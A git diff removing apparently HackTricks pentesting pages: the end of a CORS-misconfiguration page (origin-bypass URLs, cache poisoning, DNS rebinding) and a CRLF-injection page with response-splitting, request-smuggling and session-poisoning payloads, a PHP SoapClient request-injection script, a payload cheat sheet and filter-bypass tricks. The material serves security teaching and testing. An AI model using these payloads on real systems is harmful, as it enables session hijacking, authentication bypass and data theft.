-https://example.com.}.attacker.com/
-https://example.com.`.attacker.com/
-```
-
-These are useful when the backend only checks whether the supplied origin *starts with* or *contains* the trusted hostname, while the browser still treats the attacker-controlled suffix as the effective origin boundary.
-
-Also remember that modern origin fuzzing should not stop at hostname suffixes. The current PortSwigger cheat sheet includes payload families for:
-
-- **Domain allow-list bypasses**: attacker-controlled domains that still satisfy naive prefix/suffix/substring checks.
-- **Fake-relative absolute URLs**: browser-valid absolute URLs that application code may parse as relative.
-- **Loopback/IP normalizations**: alternative IPv4/IPv6 forms useful when CORS logic tries to block `localhost`, `127.0.0.1`, or cloud metadata endpoints by string comparison.
-
-### **Other funny URL tricks**
-
-
-{{#ref}}
-ssrf-server-side-request-forgery/url-format-bypass.md
-{{#endref}}
-
-### **Server-side cache poisoning**
-
-[**From this research**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
-
-It's possible that by exploiting server-side cache poisoning through HTTP header injection, a stored Cross-Site Scripting (XSS) vulnerability can be induced. This scenario unfolds when an application fails to sanitize the `Origin` header for illegal characters, creating a vulnerability particularly for Internet Explorer and Edge users. These browsers treat (0x0d) as a legitimate HTTP header terminator, leading to HTTP header injection vulnerabilities.
-
-Consider the following request where the `Origin` header is manipulated:
-
-```
-GET / HTTP/1.1
-Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
-```
-
-Internet Explorer and Edge interpret the response as:
-
-```
-HTTP/1.1 200 OK
-Access-Control-Allow-Origin: z
-Content-Type: text/html; charset=UTF-7
-```
-
-While directly exploiting this vulnerability by making a web browser send a malformed header is not feasible, a crafted request can be manually generated using tools like Burp Suite. This method could lead to a server-side cache saving the response and inadvertently serving it to others. The crafted payload aims to alter the page's character set to UTF-7, a character encoding often associated with XSS vulnerabilities due to its ability to encode characters in a way that can be executed as script in certain contexts.
-
-For further reading on stored XSS vulnerabilities, see [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored).
-
-**Note**: The exploitation of HTTP header injection vulnerabilities, particularly through server-side cache poisoning, underscores the critical importance of validating and sanitizing all user-supplied input, including HTTP headers. Always employ a robust security model that includes input validation to prevent such vulnerabilities.
-
-### **Client-Side cache poisoning**
-
-[**From this research**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
-
-In this scenario, an instance of a web page reflecting the contents of a custom HTTP header without proper encoding is observed. Specifically, the web page reflects back the contents included in a `X-User-id` header, which could include malicious JavaScript, as demonstrated by the example where the header contains an SVG image tag designed to execute JavaScript code on load.
-
-Cross-Origin Resource Sharing (CORS) policies allow for the sending of custom headers. However, without the response being directly rendered by the browser due to CORS restrictions, the utility of such an injection might seem limited. The critical point arises when considering the browser's cache behavior. If the `Vary: Origin` header is not specified, it becomes possible for the malicious response to be cached by the browser. Subsequently, this cached response could be rendered directly when navigating to the URL, bypassing the need for direct rendering upon the initial request. This mechanism enhances the reliability of the attack by leveraging client-side caching.
-
-To illustrate this attack, a JavaScript example is provided, designed to be executed in the environment of a web page, such as through a JSFiddle. This script performs a simple action: it sends a request to a specified URL with a custom header containing the malicious JavaScript. Upon successful request completion, it attempts to navigate to the target URL, potentially triggering the execution of the injected script if the response has been cached without proper handling of the `Vary: Origin` header.
-
-Here's a summarized breakdown of the JavaScript used to execute this attack:
-
-```html
-<script>
-  function gotcha() {
-    location = url
-  }
-  var req = new XMLHttpRequest()
-  url = "https://example.com/" // Note: Be cautious of mixed content blocking for HTTP sites
-  req.onload = gotcha
-  req.open("get", url, true)
-  req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
-  req.send()
-</script>
-```
-
-## Bypass
-
-### XSSI (Cross-Site Script Inclusion) / JSONP
-
-XSSI, also known as Cross-Site Script Inclusion, is a type of vulnerability that takes advantage of the fact that the Same Origin Policy (SOP) does not apply when including resources using the script tag. This is because scripts need to be able to be included from different domains. This vulnerability allows an attacker to access and read any content that was included using the script tag.
-
-This vulnerability becomes particularly significant when it comes to dynamic JavaScript or JSONP (JSON with Padding), especially when ambient-authority information like cookies are used for authentication. When requesting a resource from a different host, the cookies are included, making them accessible to the attacker.
-
-To better understand and mitigate this vulnerability, you can use the BurpSuite plugin available at [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp). This plugin can help identify and address potential XSSI vulnerabilities in your web applications.
-
-[**Read more about the difefrent types of XSSI and how to exploit them here.**](xssi-cross-site-script-inclusion.md)
-
-Try to add a **`callback`** **parameter** in the request. Maybe the page was prepared to send the data as JSONP. In that case the page will send back the data with `Content-Type: application/javascript` which will bypass the CORS policy.
-
-![Bypass - XSSI (Cross-Site Script Inclusion) / JSONP: Try to add a callback parameter in the request. Maybe the page was prepared to send the data as JSONP. In that case the page will...](<../images/image (856).png>)
-
-### Easy (useless?) bypass
-
-One way to bypass the `Access-Control-Allow-Origin` restriction is by requesting a web application to make a request on your behalf and send back the response. However, in this scenario, the credentials of the final victim won't be sent as the request is made to a different domain.
-
-1. [**CORS-escape**](https://github.com/shalvah/cors-escape): This tool provides a proxy that forwards your request along with its headers, while also spoofing the Origin header to match the requested domain. This effectively bypasses the CORS policy. Here's an example usage with XMLHttpRequest:
-2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): This tool offers an alternative approach to proxying requests. Instead of passing on your request as-is, the server makes its own request with the specified parameters.
-
-### Iframe + Popup Bypass
-
-You can **bypass CORS checks** such as `e.origin === window.origin` by **creating an iframe** and **from it opening a new window**. More information in the following page:
-
-
-{{#ref}}
-xss-cross-site-scripting/iframes-in-xss-and-csp.md
-{{#endref}}
-
-### DNS Rebinding via TTL
-
-DNS rebinding via TTL is a technique used to bypass certain security measures by manipulating DNS records. Here's how it works:
-
-1. The attacker creates a web page and makes the victim access it.
-2. The attacker then changes the DNS (IP) of their own domain to point to the victim's web page.
-3. The victim's browser caches the DNS response, which may have a TTL (Time to Live) value indicating how long the DNS record should be considered valid.
-4. When the TTL expires, the victim's browser makes a new DNS request, allowing the attacker to execute JavaScript code on the victim's page.
-5. By maintaining control over the IP of the victim, the attacker can gather information from the victim without sending any cookies to the victim server.
-
-It's important to note that browsers have caching mechanisms that may prevent immediate abuse of this technique, even with low TTL values.
-
-DNS rebinding can be useful for bypassing explicit IP checks performed by the victim or for scenarios where a user or bot remains on the same page for an extended period, allowing the cache to expire.
-
-If you need a quick way to abuse DNS rebinding, you can use services like [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html).
-
-To run your own DNS rebinding server, you can utilize tools like **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)). This involves exposing your local port 53/udp, creating an A record pointing to it (e.g., ns.example.com), and creating an NS record pointing to the previously created A subdomain (e.g., ns.example.com). Any subdomain of the ns.example.com subdomain will then be resolved by your host.
-
-You can also explore a publicly running server at [http://rebind.it/singularity.html](http://rebind.it/singularity.html) for further understanding and experimentation.
-
-### DNS Rebinding via **DNS Cache Flooding**
-
-DNS rebinding via DNS cache flooding is another technique used to bypass the caching mechanism of browsers and force a second DNS request. Here's how it works:
-
-1. Initially, when the victim makes a DNS request, it is responded with the attacker's IP address.
-2. To bypass the caching defense, the attacker leverages a service worker. The service worker floods the DNS cache, which effectively deletes the cached attacker server name.
-3. When the victim's browser makes a second DNS request, it is now responded with the IP address 127.0.0.1, which typically refers to the localhost.
-
-By flooding the DNS cache with the service worker, the attacker can manipulate the DNS resolution process and force the victim's browser to make a second request, this time resolving to the attacker's desired IP address.
-
-### DNS Rebinding via **Cache**
-
-Another way to bypass the caching defense is by utilizing multiple IP addresses for the same subdomain in the DNS provider. Here's how it works:
-
-1. The attacker sets up two A records (or a single A record with two IPs) for the same subdomain in the DNS provider.
-2. When a browser checks for these records, it receives both IP addresses.
-3. If the browser decides to use the attacker's IP address first, the attacker can serve a payload that performs HTTP requests to the same domain.
-4. However, once the attacker obtains the victim's IP address, they stop responding to the victim's browser.
-5. The victim's browser, upon realizing that the domain is unresponsive, moves on to use the second given IP address.
-6. By accessing the second IP address, the browser bypasses the Same Origin Policy (SOP), allowing the attacker to abuse this and gather and exfiltrate information.
-
-This technique leverages the behavior of browsers when multiple IP addresses are provided for a domain. By strategically controlling the responses and manipulating the browser's choice of IP address, an attacker can exploit the SOP and access information from the victim.
-
-> [!WARNING]
-> Note that in order to access localhost you should try to rebind **127.0.0.1** in Windows and **0.0.0.0** in linux.\
-> Providers such as godaddy or cloudflare didn't allow me to use the ip 0.0.0.0, but AWS route53 allowed me to create one A record with 2 IPs being one of them "0.0.0.0"
->
-> <img src="../images/image (140).png" alt="" data-size="original">
-
-For more info you can check [https://unit42.paloaltonetworks.com/dns-rebinding/](https://unit42.paloaltonetworks.com/dns-rebinding/)
-
-### Other Common Bypasses
-
-- If **internal IPs aren't allowed**, they might **forgot forbidding 0.0.0.0** (works on Linux and Mac)
-- If **internal IPs aren't allowed**, respond with a **CNAME** to **localhost** (works on Linux and Ma
-- If **internal IPs aren't allowed** as DNS responses, you can respond **CNAMEs to internal services** such as www.corporate.internal.
-
-### DNS Rebidding Weaponized
-
-You can find more information about the previous bypass techniques and how to use the following tool in the talk [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ).
-
-[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) is a tool to perform [DNS rebinding](https://en.wikipedia.org/wiki/DNS_rebinding) attacks. It includes the necessary components to rebind the IP address of the attack server DNS name to the target machine's IP address and to serve attack payloads to exploit vulnerable software on the target machine.
-
-### DNS Rebinding over DNS-over-HTTPS (DoH)
-
-DoH simply tunnels the classic RFC1035 DNS wire format inside HTTPS (usually a POST with `Content-Type: application/dns-message`). The resolver still answers with the same resource records, so SOP-breaking techniques continue to work even when browsers resolve the attacker-controlled hostname via TLS.
-
-#### Key observations
-
-- Chrome (Windows/macOS) and Firefox (Linux) successfully rebind when configured for Cloudflare, Google, or OpenDNS DoH resolvers. Transport encryption neither delays nor blocks the attack-flow for **first-then-second**, **multiple-answers**, or **DNS cache flooding** strategies.
-- Public resolvers still see every query, but they rarely enforce the host-to-IP mapping a browser must honor. Once the authoritative server returns the rebinding sequence, the browser keeps the original origin tuple while connecting to the new IP.
-
-#### Singularity strategies and timing over DoH
-
-- **First-then-second** remains the most reliable option: the first lookup returns the attacker IP that serves the payload, every later lookup returns the internal/localhost IP. With typical browser DNS caches this flips traffic in ~40–60 seconds, even when the recursive resolver is only reachable over HTTPS.
-- **Multiple answers (fast rebinding)** still reaches localhost in <3 seconds by answering with two A records (attacker IP + `0.0.0.0` on Linux/macOS or `127.0.0.1` on Windows) and programmatically blackholing the first IP (for example, `iptables -I OUTPUT -d <attacker_ip> -j DROP`) shortly after the page loads. Firefox’s DoH implementation may emit repeated DNS queries, so the Singularity fix is to schedule the firewall rule relative to the **first** query timestamp instead of refreshing the timer on every query.
-
-#### Beating “rebind protection” in DoH providers
-
-- Some providers (e.g., NextDNS) replace private/loopback answers with `0.0.0.0`, but Linux and macOS happily route that destination to local services. Intentionally returning `0.0.0.0` as the second record therefore still pivots the origin to localhost.
-- Filtering only the direct A/AAAA response is ineffective: returning a **CNAME** to an internal-only hostname makes the public DoH resolver forward the alias while browsers such as Firefox fall back to the system DNS for the internal zone, completing the resolution to a private IP that is still treated as the attacker origin.
-
-#### Browser-specific DoH behavior
-
-- **Firefox DoH** operates in fallback mode: any DoH failure (including an unresolved CNAME target) triggers a plaintext lookup via the OS resolver, which is typically an enterprise DNS server that knows the internal namespace. This behavior is what makes the CNAME bypass reliable inside corporate networks.
-- **Chrome DoH** only activates when the OS DNS points to a whitelisted DoH-capable recursive resolver (Cloudflare, Google, Quad9, etc.) and does not provide the same fallback chain. Internal hostnames that only exist on corporate DNS therefore fail to resolve, but rebinding toward localhost or any routable address still succeeds because the attacker controls the entire response set.
-
-#### Testing and monitoring DoH flows
-
-- Firefox: `Settings ➜ Network Settings ➜ Enable DNS over HTTPS` and provide the DoH endpoint (Cloudflare and NextDNS are built in). Chrome/Chromium: enable `chrome://flags/#dns-over-https` and configure the OS DNS servers to one of Chrome’s supported resolvers (e.g., `1.1.1.1`/`1.0.0.1`).
-- You can query public DoH APIs directly, e.g. `curl -H 'accept: application/dns-json' 'https://cloudflare-dns.com/dns-query?name=example.com&type=A' | jq` to confirm the exact records browsers will cache.
-- Intercepting DoH in Burp/ZAP still works because it is just HTTPS (binary DNS payload in the body). For packet-level inspection, export TLS keys (`export SSLKEYLOGFILE=~/SSLKEYLOGFILE.txt`) before launching the browser and let Wireshark decrypt the DoH sessions with the `dns` display filter to see when the browser stays on DoH or falls back to classic DNS.
-
-### Real Protection against DNS Rebinding
-
-- Use TLS in internal services
-- Request authentication to access data
-- Validate the Host header
-- [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): Proposal to always send a pre-flight request when public servers want to access internal servers
-
-## **Tools**
-
-**Fuzz possible misconfigurations in CORS policies**
-
-- [https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8](https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8)
-- [https://portswigger.net/bappstore/c257bcb0b6254a578535edb2dcee87d0](https://portswigger.net/bappstore/c257bcb0b6254a578535edb2dcee87d0)
-- [https://github.com/chenjj/CORScanner](https://github.com/chenjj/CORScanner)
-- [https://github.com/lc/theftfuzzer](https://github.com/lc/theftfuzzer)
-- [https://github.com/s0md3v/Corsy](https://github.com/s0md3v/Corsy)
-- [https://github.com/Shivangx01b/CorsMe](https://github.com/Shivangx01b/CorsMe)
-- [https://github.com/omranisecurity/CorsOne](https://github.com/omranisecurity/CorsOne)
-
-## References
-
-- [https://portswigger.net/web-security/cors](https://portswigger.net/web-security/cors)
-- [https://portswigger.net/web-security/cors/access-control-allow-origin](https://portswigger.net/web-security/cors/access-control-allow-origin)
-- [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS)
-- [https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
-- [https://www.codecademy.com/articles/what-is-cors](https://www.codecademy.com/articles/what-is-cors)
-- [https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors](https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors)
-- [https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646](https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646)
-- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration)
-- [https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b](https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b)
-- [NCC Group - Impact of DNS over HTTPS (DoH) on DNS Rebinding Attacks](https://www.nccgroup.com/research-blog/impact-of-dns-over-https-doh-on-dns-rebinding-attacks/)
-- [https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet](https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet)
-- [https://developer.chrome.com/blog/pna-on-hold](https://developer.chrome.com/blog/pna-on-hold)
-
-
-{{#include ../banners/hacktricks-training.md}}
-
diff --git a/src/pentesting-web/crlf-0d-0a.md b/src/pentesting-web/crlf-0d-0a.md
deleted file mode 100644
index d55a0fbc329..00000000000
--- a/src/pentesting-web/crlf-0d-0a.md
+++ /dev/null
@@ -1,298 +0,0 @@
-# CRLF (%0D%0A) Injection
-
-{{#include ../banners/hacktricks-training.md}}
-
-### CRLF
-
-Carriage Return (CR) and Line Feed (LF), collectively known as CRLF, are special character sequences used in the HTTP protocol to denote the end of a line or the start of a new one. Web servers and browsers use CRLF to distinguish between HTTP headers and the body of a response. These characters are universally employed in HTTP/1.1 communications across various web server types, such as Apache and Microsoft IIS.
-
-### CRLF Injection Vulnerability
-
-CRLF injection involves the insertion of CR and LF characters into user-supplied input. This action misleads the server, application, or user into interpreting the injected sequence as the end of one response and the beginning of another. While these characters are not inherently harmful, their misuse can lead to HTTP response splitting and other malicious activities.
-
-### Example: CRLF Injection in a Log File
-
-[Example from here](https://www.invicti.com/blog/web-security/crlf-http-header/)
-
-Consider a log file in an admin panel that follows the format: `IP - Time - Visited Path`. A typical entry might look like:
-
-```
-123.123.123.123 - 08:15 - /index.php?page=home
-```
-
-An attacker can exploit a CRLF injection to manipulate this log. By injecting CRLF characters into the HTTP request, the attacker can alter the output stream and fabricate log entries. For instance, an injected sequence might transform the log entry into:
-
-```
-/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
-```
-
-Here, `%0d` and `%0a` represent the URL-encoded forms of CR and LF. Post-attack, the log would misleadingly display:
-
-```
-IP - Time - Visited Path
-
-123.123.123.123 - 08:15 - /index.php?page=home&
-127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
-```
-
-The attacker thus cloaks their malicious activities by making it appear as if the localhost (an entity typically trusted within the server environment) performed the actions. The server interprets the part of the query starting with `%0d%0a` as a single parameter, while the `restrictedaction` parameter is parsed as another, separate input. The manipulated query effectively mimics a legitimate administrative command: `/index.php?page=home&restrictedaction=edit`
-
-### HTTP Response Splitting
-
-#### Description
-
-HTTP Response Splitting is a security vulnerability that arises when an attacker exploits the structure of HTTP responses. This structure separates headers from the body using a specific character sequence, Carriage Return (CR) followed by Line Feed (LF), collectively termed as CRLF. If an attacker manages to insert a CRLF sequence into a response header, they can effectively manipulate the subsequent response content. This type of manipulation can lead to severe security issues, notably Cross-site Scripting (XSS).
-
-#### XSS through HTTP Response Splitting
-
-1. The application sets a custom header like this: `X-Custom-Header: UserInput`
-2. The application fetches the value for `UserInput` from a query parameter, say "user_input". In scenarios lacking proper input validation and encoding, an attacker can craft a payload that includes the CRLF sequence, followed by malicious content.
-3. An attacker crafts a URL with a specially crafted 'user_input': `?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>`
-   - In this URL, `%0d%0a%0d%0a` is the URL-encoded form of CRLFCRLF. It tricks the server into inserting a CRLF sequence, making the server treat the subsequent part as the response body.
-4. The server reflects the attacker's input in the response header, leading to an unintended response structure where the malicious script is interpreted by the browser as part of the response body.
-
-#### An example of HTTP Response Splitting leading to Redirect
-
-From [https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62](https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62)
-
-Browser to:
-
-```
-/%0d%0aLocation:%20http://myweb.com
-```
-
-And the server responses with the header:
-
-```
-Location: http://myweb.com
-```
-
-**Other example: (from** [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)**)**
-
-```
-http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
-```
-
-#### In URL Path
-
-You can send the payload **inside the URL path** to control the **response** from the server (example from [here](https://hackerone.com/reports/192667)):
-
-```
-http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
-http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
-```
-
-Check more examples in:
-
-
-{{#ref}}
-https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md
-{{#endref}}
-
-### HTTP Header Injection
-
-HTTP Header Injection, often exploited through CRLF (Carriage Return and Line Feed) injection, allows attackers to insert HTTP headers. This can undermine security mechanisms such as XSS (Cross-Site Scripting) filters or the SOP (Same-Origin Policy), potentially leading to unauthorized access to sensitive data, such as CSRF tokens, or the manipulation of user sessions through cookie planting.
-
-#### Exploiting CORS via HTTP Header Injection
-
-An attacker can inject HTTP headers to enable CORS (Cross-Origin Resource Sharing), bypassing the restrictions imposed by SOP. This breach allows scripts from malicious origins to interact with resources from a different origin, potentially accessing protected data.
-
-#### SSRF and HTTP Request Injection via CRLF
-
-CRLF injection can be utilized to craft and inject an entirely new HTTP request. A notable example of this is the vulnerability in PHP's `SoapClient` class, specifically within the `user_agent` parameter. By manipulating this parameter, an attacker can insert additional headers and body content, or even inject a new HTTP request entirely. Below is a PHP example demonstrating this exploitation:
-
-```php
-$target = 'http://127.0.0.1:9090/test';
-$post_string = 'variable=post value';
-$crlf = array(
-    'POST /proxy HTTP/1.1',
-    'Host: local.host.htb',
-    'Cookie: PHPSESSID=[PHPSESSID]',
-    'Content-Type: application/x-www-form-urlencoded',
-    'Content-Length: '.(string)strlen($post_string),
-    "\r\n",
-    $post_string
-);
-
-$client = new SoapClient(null,
-    array(
-        'uri'=>$target,
-        'location'=>$target,
-        'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
-    )
-);
-
-# Put a netcat listener on port 9090
-$client->__soapCall("test", []);
-```
-
-### Header Injection to Request Smuggling
-
-For more info about this technique and potential problems [**check the original source**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning).
-
-You can inject essential headers to ensure the **back-end keeps the connection open** after responding to the initial request:
-
-```
-GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
-```
-
-Afterward, a second request can be specified. This scenario typically involves [HTTP request smuggling](http-request-smuggling/), a technique where extra headers or body elements appended by the server post-injection can lead to various security exploits.
-
-**Exploitation:**
-
-1. **Malicious Prefix Injection**: This method involves poisoning the next user's request or a web cache by specifying a malicious prefix. An example of this is:
-
-`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`
-
-2. **Crafting a Prefix for Response Queue Poisoning**: This approach involves creating a prefix that, when combined with trailing junk, forms a complete second request. This can trigger response queue poisoning. An example is:
-
-`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`
-
-### Memcache Injection
-
-Memcache is a **key-value store that uses a clear text protocol**. More info in:
-
-
-{{#ref}}
-../network-services-pentesting/11211-memcache/
-{{#endref}}
-
-**For the full information read the**[ **original writeup**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)
-
-If a platform is taking **data from an HTTP request and using it without sanitizing** it to perform **requests** to a **memcache** server, an attacker could abuse this behaviour to **inject new memcache commands**.
-
-For example, in the original discovered vuln, cache keys were used to return the IP and port a user shuold connect to, and attackers were able to **inject memcache comands** that would **poison** the **cache to send the vistims details** (usrnames and passwords included) to the attacker servers:
-
-<figure><img src="../images/image (659).png" alt="https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/ba72cd16-2ca0-447b-aa70-5cde302a0b88/body-578d9f9f-1977-4e34-841c-ad870492328f_10.png?w=1322&h=178&auto=format&fit=crop"><figcaption></figcaption></figure>
-
-Moreover, researchers also discovered that they could desync the memcache responses to send the attackers ip and ports to users whose email the attacker didn't know:
-
-<figure><img src="../images/image (637).png" alt="https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/c6c1f3c4-d244-4bd9-93f7-2c88f139acfa/body-3f9ceeb9-3d6b-4867-a23f-e0e50a46a2e9_14.png?w=1322&h=506&auto=format&fit=crop"><figcaption></figcaption></figure>
-
-### Pre-auth Session File Poisoning via CRLF
-
-Some applications **persist session state before authentication completes** and later **reload the same session from disk** after additional requests. If attacker-controlled values from **headers**, **cookies**, or login parameters are written into that session file **without stripping `\r` / `\n`**, CRLF injection can become an **authentication bypass** instead of just response splitting.
-
-Typical exploitation pattern:
-
-1. A failed or incomplete login **creates a pre-auth session file** on disk.
-2. The attacker finds a field that is later written to the session store, commonly a **Basic Authorization** value, a **session cookie subfield**, or another login-related attribute.
-3. If the product uses a **structured session identifier** or cookie format, try **removing optional/expected segments** to force a weaker code path where attacker-controlled data is **not encoded/encrypted** before being persisted.
-4. Inject raw CRLF so the serialized session becomes **multi-line**, allowing creation of extra trusted entries such as:
-
-```text
-user=root
-cp_security_token=/cpsess...
-tfa_verified=1
-```
-
-5. Trigger a **session reload / resume** path. If the parser trusts the poisoned session file, the attacker upgrades a pre-auth session into an authenticated or privileged one.
-
-Quick notes for review and exploitation:
-
-- Check whether the session store is **line-oriented** (`key=value` per line). These formats are especially sensitive to CRLF.
-- Compare how the application handles a **freshly issued session cookie** versus a **malformed/truncated** version of the same cookie.
-- If authentication is split across several requests, inspect whether the **same session identifier survives** from the failed login into the later privileged request.
-- Newline injection into one field can be enough if the reload logic later trusts **presence of keys** such as `user`, `role`, `successful_external_auth_with_timestamp`, or `tfa_verified`.
-
-Detection / triage ideas:
-
-- Inspect pre-auth session files for **authenticated-only keys**.
-- Flag session files whose `pass` or equivalent field became **multi-line**.
-- Correlate **failed-login origins** with later session records containing valid security tokens or authenticated attributes.
-
-### How to Prevent CRLF / HTTP Header Injections in Web Applications
-
-To mitigate the risks of CRLF (Carriage Return and Line Feed) or HTTP Header Injections in web applications, the following strategies are recommended:
-
-1. **Avoid Direct User Input in Response Headers:** The safest approach is to refrain from incorporating user-supplied input directly into response headers.
-2. **Encode Special Characters:** If avoiding direct user input is not feasible, ensure to employ a function dedicated to encoding special characters like CR (Carriage Return) and LF (Line Feed). This practice prevents the possibility of CRLF injection.
-3. **Update Programming Language:** Regularly update the programming language used in your web applications to the latest version. Opt for a version that inherently disallows the injection of CR and LF characters within functions tasked with setting HTTP headers.
-
-### CHEATSHEET
-
-[Cheatsheet from here](https://twitter.com/NinadMishra5/status/1650080604174667777)
-
-```
-1. HTTP Response Splitting
-• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)
-
-2. CRLF chained with Open Redirect
-• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
-• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
-• /google.com/%2F..%0D%0AHeader-Test:test2
-• /%0d%0aLocation:%20http://example.com
-
-3. CRLF Injection to XSS
-• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
-• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
-
-4. Filter Bypass
-• %E5%98%8A = %0A = \u560a
-• %E5%98%8D = %0D = \u560d
-• %E5%98%BE = %3E = \u563e (>)
-• %E5%98%BC = %3C = \u563c (<)
-• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test
-```
-
-### Recent Vulnerabilities (2023 – 2025)
-
-The last few years have produced several high-impact CRLF/HTTP header-injection bugs in widely-used server- and client-side components. Reproducing and studying them locally is an excellent way of understanding real-world exploitation patterns.
-
-| Year | Component | CVE / Advisory | Root cause | PoC highlight |
-|------|-----------|---------------|------------|---------------|
-| 2024 | RestSharp (≥110.0.0 <110.2.0) | **CVE-2024-45302** | The `AddHeader()` helper did not sanitize CR/LF, allowing construction of multiple request headers when RestSharp is used as an HTTP client inside back-end services. Down-stream systems could be coerced into SSRF or request smuggling. | `client.AddHeader("X-Foo","bar%0d%0aHost:evil")` |
-| 2024 | Refit (≤ 7.2.101) | **CVE-2024-51501** | Header attributes on interface methods were copied verbatim into the request. By embedding `%0d%0a`, attackers could add arbitrary headers or even a second request when Refit was used by server-side worker jobs. | `[Headers("X: a%0d%0aContent-Length:0%0d%0a%0d%0aGET /admin HTTP/1.1")]` |
-| 2023 | Apache APISIX Dashboard | **GHSA-4h3j-f5x9-r6x3** | User-supplied `redirect` parameter was echoed into a `Location:` header without encoding, enabling open redirect + cache poisoning. | `/login?redirect=%0d%0aContent-Type:text/html%0d%0a%0d%0a<script>alert(1)</script>` |
-
-These bugs are important because they are triggered **inside application-level code** and not only at the web-server edge. Any internal component that performs HTTP requests or sets response headers must therefore enforce CR/LF filtering.
-
-### Advanced Unicode / Control-Character Bypasses
-
-Modern WAF/rewriter stacks often strip literal `\r`/`\n` but forget about other characters that many back-ends treat as line terminators. When CRLF is filtered, try:
-
-* `%E2%80%A8` (`U+2028` – LINE SEPARATOR)
-* `%E2%80%A9` (`U+2029` – PARAGRAPH SEPARATOR)
-* `%C2%85`  (`U+0085` – NEXT LINE)
-
-Some Java, Python and Go frameworks convert these to `\n` during header parsing (see the 2023 Praetorian research). Combine them with classic payloads:
-
-```
-/%0A%E2%80%A8Set-Cookie:%20admin=true
-```
-
-If the filter normalises UTF-8 first, the control character is turned into a regular line-feed and the injected header is accepted.
-
-### WAF Evasion via Duplicate `Content-Encoding` Trick (2023)
-
-Praetorian researchers also showed that by injecting:
-
-```
-%0d%0aContent-Encoding:%20identity%0d%0aContent-Length:%2030%0d%0a
-```
-
